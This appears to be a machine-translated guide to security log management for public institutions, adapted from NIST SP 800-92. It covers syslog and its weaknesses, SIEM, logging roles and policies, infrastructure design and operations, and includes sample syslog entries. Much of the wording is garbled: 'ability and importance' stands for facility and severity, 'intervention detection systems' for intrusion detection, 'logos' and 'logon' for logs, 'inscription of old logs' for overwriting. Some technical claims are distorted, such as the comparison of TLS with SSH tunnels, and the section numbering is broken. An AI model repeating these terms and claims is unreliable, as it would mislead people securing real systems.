Syslog is quite simple. Each message consists of 3 parts where the first part is two numeric values for ability and importance, the second has the source IP address and time, the third part has the log content itself. The message has no other domains and it is intended to be readable by the human eye. This gives a lot of flexibility to the log generator as it allows you to decide what you want in the third part. A source may have several formats and a software analysis should recognize these formats. The problem becomes more difficult when the number of resources increases. Consequently, the process of analysis may be limited.

Mar 1 06:25:43 server1 sshd[23170]: Accepted public key for server2 from
172.30.128.115 port 21011 ssh2
Mar 1 07:16:42 server1 sshd[9326]: Accepted password for murugiah from 10.20.30.108 port 1070 ssh2
Mar 1 07:16:53 server1 sshd[22938]: reverse mapping checking getaddrinfo for ip10.165.nist.gov failed - POSSIBLE BREAKIN ATTEMPT!
Mar 1 07:26:28 server1 sshd[22572]: Accepted publickey for server2 from
172.30.128.115 port 30606 ssh2
Mar 1 07:28:33 server1 su: BAD SU kkent to root on /dev/ttyp2
Mar 1 07:28:41 server1 su: kkent to root on /dev/ttyp2

Figure 2-1. Examples of syslog messages

2.3.2 Syslog Security

Syslog was developed when security of logs was not an important factor. As a result, it does not provide the security controls necessary for managing logs. An example is the use of UDP which does not guarantee that the transfer was successfully completed. Also syslog does not provide the necessary security with regard to authentication enabling attackers to bomb syslog servers with "bad" logs. Also syslog is vulnerable to wiretapping because it does not use any kind of encryption for data transmission.

With the growing importance of security logs, new syslog implementations have emerged that provide some additional functionalities.

a. **Reliable transmission of logs.** Some syslog implementations other than UDP also provide TCP, thus making reliable transmission. This requires more bandwidth than normal syslogs.

b. **Protection of transmission confidentiality.** Various syslog implementations use the Transmission Layer Security (TLS) protocol for network broadcasting. The problem is that TLS only protects the contents of the package and not the IP address part. Syslog's safer implementations use SSH or Secure Shell Tunnel that provide full packet encryption.

c. **Quality filtering.** Originally, syslog provided only the ability and the importance of the message as filtering criteria. Today's syslog implementations also provide filtering based on the host or software that generates these messages. Some even offer some filters on the same message making the filtering process much more complex.

d. **Log analysis.** Originally, syslog did not provide tools for analysis, it simply provided a structure on which third parties could operate. Thus, the administrators used software from third parties to conduct the analysis. Today, there are syslog implementations that provide some kind of analysis that distinguishes the connection between events.

e. **Response to events.** Some syslogs can take action against various events that are logged. These are for example the execution of a software or script, contacting administrators etc.

f. **Alternative formats.** Some syslogs accept non-standard messaging formats. This is useful for those cases where servers do not support syslogs and can not be modified to do so.

g. **Encryption of log files.** Syslog implementation can be configured to allow encrypted log files to be archived or rotated. This can also be done through the operating system via third-party software.

h. **Logs stored in database.** Some syslogs can store logs in databases other than ordinary files. This would be useful for later analysis.

i. **Restriction of messages.** Some syslog implementations allow the limitation of messages from the same host. This stops DOS attacks but on the other hand it may happen to lose messages.

Public institutions using old versions of syslog should consider switching to recent versions because they improve the reliability, integrity and security of logs.

2.3.4 Software for Security Information and Event Management (SIEM)

Software for security information and event management or otherwise - SIEM are relatively new types of centralized software compared to syslog. They usually consist of a log server for analysis and database server for storing logs. They are of two types:

a. Without an Agent

In these cases, the server does not need software at the host to get logs. In some cases the server pulls logs from the host operation system. In some other cases the host sends logs to the server. In both cases the authentication process is done. Then the server makes the necessary aggregations or filters.

b. With Agents

In these cases an agent is installed at the host and it filters and aggregates the logs. Then sends them to the server. In cases where some types of logs are going to be collected, some agents may need to be installed.

Each of the ways has its advantages and disadvantages. The first one does not need installations, configurations or maintenance because the server takes care of the management. The disadvantage is the lack of filtration and aggregation at the host level, which increases the amount of work done by the server, time, and so on. Another disadvantage is that the server needs credentials to log on to each host. In some cases only one of two ways is possible because the server can not retrieve the data.

SIEM supports many types of operating systems, security software, applications, or other devices as log sources. They automatically recognize the major logging areas, greatly facilitating the process of analysis, normalization and connectivity. Also SIEM can also make the removal of less important events. Regardless of how the logs are received, SIEM performs

analysis functionality, linkage between events, prioritizing and initiating procedures as responses to specific cases. SIEM include:

1. A graphical interface that helps to assist analysts in their work.
2. Incident Management and Report Creation.
3. Manual for various log vulnerabilities.
4. Giving priorities.

2.5 Other types of log management software

Some other types of software that serve in log management are:

a) **Intervention detection systems.** These systems monitor the host and detect suspicious activity. They monitor the operating system, various applications, networks, and so on. They often serve as one of the tools for detecting attacks. Usually they have information on known types of attacks.
b) **Visualization tools.** These tools display the data in graphical form. They display clustered data based on different characteristics such as host addresses, and so on. Then an analyst could use this data by removing known activities and allowing visualization of what might be a problem.
c) **Tools for rotating logs.** Administrators can use such tools to help rotate logs.
d) **Conversion tools for logs.** Administrators can use such tools to help convert logs.

2.6 Summary

A logon infrastructure consists of hardware, software, networks used for generating, transferring, storing and deleting logs. Infrastructure performs several functions such as event analysis, filtering, aggregation, normalization, and linking. The infrastructure also helps to make logs accessible and enables displaying, converting, analyzing, archiving and logging.

Infrastructures based on centralized syslog systems can generally be divided into 3 levels. The first level contains hosts that generate logs. The second level contains servers that store the data and perform processes to consolidate them. The third level consists of machines that monitor and display data as well as server and client management.

In syslog-based systems, each host generates logs in a simple standard. Since syslog is a standard protocol, many operating systems can use it. Because it is fast developed, syslog does

not provide the necessary security for generating, storing and transmitting logs as well as for their integrity.

To enhance security, new syslog implementations have been developed, which provide a lot of tools that have the necessary security, such as trusted packet delivery, encryption, etc.

Chapter III

3. Planning log management

For the establishment and maintenance of a successful logging management infrastructure, a public institution needs to carry out important planning and other preparatory actions for conducting log management. This is important for creating credible, sustainable and efficient logging management practices that meet the needs and requirements of the institution and also provide additional value to the public institution. This section describes role assignment and responsibilities of managing logs, creating feasible logging policies, and designing log management infrastructures. Chapter 5 describes the operational aspects of log management.

3.1 Determining roles and responsibilities

As part of the log planning management process, an institution should determine the roles and responsibilities of individuals and teams who are expected to be involved in log management. Individual teams and roles often involved in log management include the following:

a) Network and system administrators, who are usually responsible for logon configuration on individual systems and network devices by analyzing those logs periodically as well as reporting the results of log management activities and performing regular logging maintenance of logs and their applications.
b) Security administrators, who are usually responsible for managing and monitoring logging infrastructure, by configuring logon in security devices (eg, firewalls, network-based intrusion detection systems, antivirus servers) , reporting on the results of log management activities, and helping others configure logins and perform analysis of these logins.

c) Teams responsible for the management of computer security incidents, who use logging data while handling incidents.
d) Application developers who may need to design or arrange applications in order for them to make access in accordance with the requirements and recommendations of the logins.
e) Information Security Officers, who can perform oversight of log management infrastructures.
f) Information Officers (CIOs), who oversee IT resources that generate, transmit and archive logs.
g) Auditors, who can use log data when performing audits.
h) Individuals involved in procurement of programs that need or can generate computer security log data.

Public institutions should pay particular attention to the scheduling of operational log management tasks. Some public institutions, especially those with many managed environments, choose to perform centralized logging instead of local logging. However, in most institutions, managing logs are not so centralized. Typically, system, network and security administrators are responsible for managing logins in their systems, performing regular analysis of their data, documenting and reporting the management results of these activities, ensuring that log data are provided for the management infrastructure in accordance with the institution's policies.

In addition, some of the public institution administrators act as administrators of logging infrastructure management, with the following responsibilities:

a) Contact Administrators at system levels, to get additional information about an event or to investigate a particular event.
b) b) Identify the changes needed to configure the logging system (for example, where records and data are sent to centralized log servers, what format should be used) and informing the level administrators for the necessary changes.
c) Initiating response to the incident, including incident handling and operational problems (eg a failure of a log infrastructure management component).
d) Safeguarding of old logs in mobile environments and deleting them if they are useless.
e) Collaboration with requests from legal counsel, auditors, and others.
f) Monitoring the status of the log management infrastructure (eg. software failures or archiving media, local system failures to transfer their log data) and initiating appropriate responses in case of problems occur.
g) Testing and implementing improvements and updates on log management infrastructure components.
h) Maintain the security of the log management infrastructure.

Another very important logic management administrator's responsibility is to verify the work of the level administrators. When deciding how to divide log management tasks, public institutions can consider sharing tasks and accountability. For example, having someone else

besides the system administrator to review logs for a particular system helps ensure accountability for system administrator actions, including confirmation that logos are enabled.

Institutions need to determine how much the administrative system and logging infrastructure administrators need to do. In general, some analysis should be performed at system level, because system administrators can provide context for events recorded in log data. For example, if a log shows that a system is restarted three times per hour, an infrastructure administrator may not be able to determine why this event has occurred since the review of these logs. Another reason for conducting analysis at the system level is that local administrators may have different interests from infrastructure administrators, such as identifying operational problems and other security-related concerns. Also, there are often more events for infrastructure administrators to review, and more data transfer across the network to the log management structure. Performing system-level analysis is also useful for administrators to gain a better understanding of the features of each system so that they can make fine adjustments to the log configuration.

Performing infrastructure-level analysis is particularly useful in several ways. It is more likely to be carried out in real-time than on the analytical level, it responds in a timely manner to serious security-related events and helps minimize the impact of security incidents. Usually, the data of a log has recorded important events, it has to be continuously analyzed, in accordance with centralized security monitoring, controls such as network interception detection systems, antivirus software, and network firewalls. Infrastructure-level analysis can also find patterns of events across systems, such as coordinated or widespread attacks, and attacks between public institution systems. Another reason, as mentioned earlier, is the division of tasks between system administrators and infrastructure administrators.

In general, when determining how to allocate analysis responsibilities, public institutions should focus on the relative importance of the different types of inputs and contexts needed to understand the true meaning of any log entry. Institutions need to think carefully about possible context sources, such as changing information management, which infrastructure administrators may be able to use. For access types that generally do not require context, public institutions should consider centralized automation and concentration as far as possible. For access types that require context, the institutions either need to rely on the system level administrators or ensure that the context is needed for infrastructure administrators, change of data management program, or other sources.

To ensure that system-level logging is carried out effectively across the institution, administrators of these systems should receive proper support from the institution. Assuming that system level administrators have a typical responsibility, the support of a public institution for them should include the following actions:

a) Distributing information and providing training on roles that individual systems and their administrators play in log management infrastructure.
b) Providing contact points that can answer administrator queries.
c) Encourage administrators to present lessons learned from them, and provide a mechanism to disseminate their ideas (eg, mailing lists, internal web forums, seminar)
d) Provide specific technical guidance for integrating log data from the system with log management infrastructure.
e) Considering the creation of a test environment for logging. Institutions can test different configurations for shared log sources, recommendations and guidelines documents, pass administrators for use. This information should help them configure logs more efficiently and consistently.
f) Building tools such as rotation scripts (change) log analysis and software available to administrators, along with documentation. Public institutions should consider implementing these in a test environment and documenting the recommendations and guidelines for their use.

Institutions should also provide similar support to infrastructure administrators, with particular emphasis on training and tools.

3.2 Creating Logging Policies

A public institution should define its requirements and the purposes for carrying out the logs and their monitoring, as described in section 2.2. Requests should include all applicable laws, regulations, and existing internal organizational policies, such as policies for keeping and storing data. The goals should be based on balancing the institution's risk reduction with the time and resources needed to perform the log management functions. Requirements and goals should be used as a basis for establishing a broad-based public institution in managing and prioritizing log management appropriately across the enterprise.

Public institutions should develop policies that clearly define mandatory requirements and suggested recommendations for some aspects of log management, as follows:

a) Generating Logs

1) Which types of hosts need or will perform logging.

2) Which host component should or will perform logging (ie, OS, services, application).
3) Which types of events of each component should or will be logged (eg, security events, network connections, authentication attempts).
4) Which data features should or will be recorded for any type of event (eg, username and IP address during authentication).
5) How often each type of event should or will be recorded (eg, every event, once for all cases in x minutes , once for each x case, each case after x case).

b) Log Transmission

1) Which types of hosts should or will transfer the logs to a log management infrastructure.
2) Which types of inputs and data characteristics should or will be transferred from individual hosts to a log management infrastructure.
3) How many log data should or will be transferred (ie which protocols are permissible).
4) How often should log data be transferred from individual hosts to a log management infrastructure (ie, real-time, every 5 minutes, every hour)
5) How confidentiality, integrity and availability of data of any kind of password should or will be protected during transit, including whether or not another logon network is to be used.

c) Logging in memory and availability

1) How often should logos be changed?
2) The confidentiality, integrity, and availability of any kind of log data should or will be protected while stored in memory (at system level and infrastructure level).
3) How long each type of log data should or will be stored (at system level and infrastructure level).
4) How unnecessary log data should or will be thrown (at system level and infrastructure level).
5) How much storage space should be available (at system level and infrastructure level).
6) How many log storage requirements, such as a legal requirement to prevent the alteration and destruction of specific log data, should be handled (eg, how affected logs should be marked, stored, and protected).

a) Log Analysis

1) How often each type of log data should or will be analyzed (at system level and infrastructure level).
2) Who should or will be able to access log data (at system level and infrastructure level), and to what extent access will be available.

3) What should or will be done when suspicious activity or an anomaly is identified.
4) The confidentiality, integrity and availability of log analysis results (eg, alerts, reports) should or will be protected while in storage (at system level and infrastructure level) and in transit.
5) Incomplete disclosure of sensitive information recorded in the logs, such as passwords or email content, should be addressed.

Policies of an institution should also address who within a public institution can create and manage log management infrastructures.

Institutions should also ensure that policies, guidelines and procedures support log management requirements and recommendations, and comply with functional and operational requirements. An example is to ensure that software procurement and custom application development activities take into account log management requirements.

3.3 Creating applicable policies

The creation of policies and regulations should be made in line with an analysis of the resources and technologies to be used, as well as the effects they have on security and legislation in force. Whenever possible public institutions should see their current logs and their configurations so as to reduce the risks. For example, keeping an audit log from the operating system could dramatically increase the number of logs generated, making it impossible to quickly process their analysis and affect overall performance.

Maintaining as much data is not necessarily good. Institutions should keep the most important data. When making policies, public institutions should take care to maintain flexibility as data is stored by different hosts and have different characteristics. Flexibility is important as data from hosts changes quickly. An update, patch or installation may change the nature of the log. When making policies, institutions should take care that critical situations allow administrators to change log configurations. However, these changes should be considered as the ultimate solution.

3.4 Design of log management infrastructure.

After creating policies and procedures, a public institution should take care of designing an infrastructure that will support these policies and procedures. If the institution has such an infrastructure then it needs to analyze the possibilities of modifying this infrastructure. If the institution sees fit then it can modify policies to lower the infrastructure costs for log management. It can be passed on in such a few cycles until a balance is achieved and the solution for both parts, policies and procedures on the one hand and infrastructure on the other hand is finalized.

When designing a logistic infrastructure, institutions should consider several factors and consider the current state of infrastructure as well as the future. Some of these factors are:

a) The maximum volume that the institution can reach in hours or days per log. Institutions should note that over time the amount of logs increases considerably and this makes it necessary to consider some factors in calculating the maximum amount of logs. In critical situations, the factor may be an attack on service interruption, a scanning for vulnerability, a virus that copies itself to the network, and so on. Many software today measure their capacity with how many logons they manage to keep per second.
b) The maximum amount that can be reached using the network.
c) The maximum amount of data that can be saved and the amount of time it takes to create backups.
d) Security requirements for logs. If data needs to be encrypted, this requires more resources from the network as the amount of data transmitted increases.
e) Time needed for staff to analyze logs.

3.5 Summary

To build a successful logging management infrastructure, a public institution needs to do a good planning. This is important for creating efficient logging management practices.

As part of the planning process, an institution should include the roles and responsibilities of individuals and teams who have to deal with log management. Network and system administrators are responsible for configuring network and system logs as well as for analyzing them, and they should also take care of the maintenance of the software used for logging. Security administrators are responsible for logging infrastructure, security device logs, security problem reporting, and so on.

Public institutions should then specifically set their logistical requirements and establish policies and procedures for them, in which they should determine exactly what is mandatory to keep a log and what are the recommendations. These policies should clarify generating, transmitting, storing, archiving and deleting logs. Policies should also take into account the legal side.

Finally, an institution should design an infrastructure that is in line with policies and procedures. Generally, the institutions only store the important data for them, but in special cases all logs can be stored for short periods of time.

Chapter IV

4. Operational management of work processes

System and infrastructure administrators need to follow standard workflow processes for which they are responsible.
This paragraph describes the most important operational management processes for the following tasks:

a) Configure log sources, including generation, storage, and security.
b) Perform analysis of log data.
c) Take appropriate responses to the events identified.
d) Manage the long-term preservation of work data.

This chapter describes each of these processes and the way to realize them. It also provides a brief outline of other operational processes that system level and infrastructure administrators need to follow. The chapter also describes the need to carry out systematic labor controls.

4.1 Log Resource Configuration

System level administrators need to configure log sources in order to capture the required information in the desired format and location, and to retain this information for a certain period of time.

Configuring log sources is often a complex process.

First, administrators need to determine which of their hosts and components should participate in the log management infrastructure, based on the institution's policies.

A single log may contain information from various sources, such as an operating system log (OS) contains its own information, but at the same time information about various programs and applications, responsible for security.

Administrators should ascertain which log sources use each of their documents. Then, for each log source resource, administrators should calculate which types of events each log source should log, and which data features should also be logged for each type of event.

The ability of administrators to configure each log source depends on the features provided by a particular type of log source.

For example, some log sources provide very few configuration options, while others do not offer this opportunity at all, where logging is simply a connection and a disconnection without having control over it.

4.1.1 Log Generation

Assuming a log source provides configuration options, we generally have to be careful when choosing the initial log configurations. A single change can cause a large number of log entries to be logged, or much more information logged in for each event. Excessive cuts can cause loss of log data as well as operational problems such as system slowdown or denial of service. System level administrators should consider the potential effect of log source resource configuration not only on the logon host, but also in the management of the infrastructure of the logs of other components, eg excessive logging may cause significant use of bandwidth, network and centralized storage of logs.

For configuring log sources that administrators are not fully familiar with, administrators can choose to test them in a testing environment before they are placed in a real production system. This is especially recommended for the most common sources, critical log sources, and the most important resources. Program vendors and other participants may also have readable information about the logging capabilities and typical effects of different configurations, which may be very useful in determining an initial configuration.

4.1.2 Saving and deleting logs

System level administrators should determine how each log source should maintain its own data. This should be driven mainly by the institution's policy regarding logging. Once these requirements are met, administrators typically have considerable flexibility with respect to other log storage settings. Storage options for log entries are as follows:

a) **Not saved.** Entries that are designed to have little or no value for the institution, such as regular messages that can only be understood by the program vendor, or error messages that do not identify any details of the activity, generally should not be saved.

b) **Only system level.** Entries that may be of value to or in the interest of the system level administrator, but are not important enough to be sent to the log management infrastructure, should be stored in the system. For example, if an incident occurs, additional access to the system log level can provide more information about the series of events related to this

incident. System level administrators can find it useful to review these inputs, to develop the basics of typical activity, and to identify long-term trends.

c) **System level and level of infrastructure**. Entries considered to be of particular interest should be stored in the system and also transmitted to the log management infrastructure. The reasons for having logs in both places are as follows:

1) If the system or log infrastructure fails the other one must still have the log data. For example, if a log server fails or a network failure prevents the host from contacting it, logging in the system helps ensure that the log data is not lost.
2) During an incident in a system, system logs may be altered or destroyed by attackers, however, usually the attacker will have no access to the logs of the infrastructure. The staff in response to the incident can use the data from the logs of the infrastructure, too, they can compare the logs of the infrastructure and the system to determine what data have been changed or removed, comparisons which can then indicate the purpose of the attacker.
3) System or security administrators for a particular system are often responsible for analyzing its logs, but not for analyzing its data on infrastructure logs. Therefore, system logs should contain all the data that interests administrators at the system level.

d) **Infrastructure level.** Entries stored on the infrastructure servers must be stored in the system. However this is not always possible because there are systems with low capacity. Local log routing is also an important part of log setup. Administrators must configure the resources so that the log rotation takes place at certain time intervals or when the file reaches a certain size. Some sources do not provide the option of rotating logs. In these cases it is good to use third-party software to make the rotation. In some cases even more specific, because of the customized log format, rotation can not be made. In these cases, the administrator may be offered one of the following solutions.

e) **Prohibition of logs.** This is generally an unacceptable option as it allows the performed activity to remain unmanaged.

f) **Inscription of old logs.** This is a viable option for low priority log sources. This is a pleasurable option especially in cases where old logs are already transmitted to the central infrastructure. This is the best method for logs on which it can not be rotated.

Many log sources send messages whenever they have reached 90% of capacity and need logon rotation.

Infrastructure administrators should ensure that archived logs are stored in the required amount and time. They can only be destroyed when they become totally useless. In cases where they need to be stored for long terms and the amount increases considerably, administrators need to take care to provide the memory needed for this process.

4.1.3 Security of logs

Administrators should ensure that logs are stored in secure locations, their confidentiality and integrity are protected and in compliance with applicable legislation. Some steps that can be taken to increase security are:

a) Restrict access to logs only by authorized persons.
b) Avoiding the maintenance of unnecessary confidential data.
c) Protection of archived logs.
d) Ensuring that the process of generating logs is uninterrupted.

4.2 Data Analysis

Data analysis is the most important and difficult part of the log management process. Below are some steps that can be followed.

4.2.1 Understanding logs

The key to log analysis is to understand the activity that each system performs. The main reasons are:

a) **Context.** The meaning of each footage depends on the context that surrounds it. Administrators need to understand the context in which each log is placed.
b) **Unclear messages.** Often log messages are encrypted or have meaning only for the software that is built for them. Often, there is a need for SIEM software or for software from third parties.

4.2.2 Determining the priority of the logs

Prioritizing logs is a challenging process. Although some software sets priorities, these are often inconsistent and out of context. Therefore, the institutions should define the tendencies based on:

a) Type of entry
b) The newest entry

c) Entry source
d) The destination
e) Time of entry
f) Frequency

4.3 Managing memory for keeping long-term logs.

Administrators are the ones who manage the environments that store the logs. Often these data should be stored for a long time and should be considered:

a) **Selecting an archive format.** If the data is stored in a special format, the administrators must decide whether the format to archive the logs should be a universal format or both.
b) **Data archiving.** Data can be stored on tape, CD / DVD, network starage, etc. When making this choice, administrators should consider the time that logs are stored.
c) **Safeguard the data safely.** Administrators should be provided for physical data storage. This includes guarding against unauthorized access, temperature and humidity control, magnetic fields etc.

4.4 Other Operational Actions

Administrators can also perform other actions to support log management:

a) Monitoring the status of all log sources
b) Monitoring rotation and archiving
c) Updating with the latest versions and various fixes for software used in logging
d) Synchronizing the clock to different log sources
e) Reconfiguring log sources in policy change cases
f) Documentation of various abnormalities observed during the management process

Reference

This guide is based on:Special Publication 800-92 - Guide to Computer Security Log Management

1
The images are taken from the Special Publication 800-92 - Guide to Computer Security Log Management